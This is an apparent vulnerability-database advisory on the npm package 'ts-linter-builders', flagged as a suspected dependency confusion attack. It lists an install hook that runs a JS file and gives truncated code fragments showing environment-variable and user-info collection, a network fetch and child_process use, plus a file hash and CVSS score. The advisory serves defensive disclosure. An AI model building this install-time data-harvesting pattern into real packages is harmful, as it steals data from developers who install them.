VDB
GCVE-110-OSM-2026-6305
GCVE-110-OSM-2026-6305
Advisory PublishedCVSS 9.6/10
Suspected dependency confusion attack. Behaviors: data exfiltration, code execution, install-time execution.
ENTRY
test.js (install-hook: node test.js)
- Install Hook Executes Local JS File in package.json
EXFIL
- Environment Variable Exfiltration in index.js: "process.env["USER"] || "unknown"; const payload = Buffer.concat([Buffer.from(env..."
- Network Request in index.js: "fetch("https:"
- System Information Collection in index.js: "os.userInfo()"
ADDITIONAL FINDINGS
- Shell Command Execution in index.js: "require("child_process")"
- Platform Detection with Data Collection in index.js: "JSON.stringify({ created, username, publicIp, platform: process.platform }) ); /..."
PAYLOAD FILES
index.js
INDICATORS (IOCs)
- payloadFileHash: 40f9a81d39fc4fc5a1895aa2f82b01fab53b5eae8b61c80885affddb485db439
Weaknesses (CWE)
CWE-506Embedded Malicious Code
Risk Scores
CVSS 3.1
9.6/10
Critical · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Affected Products
| Vendor | Product | Versions | Platforms |
|---|---|---|---|
| unknown | ts-linter-builders | all (affected) | — |
Aliases
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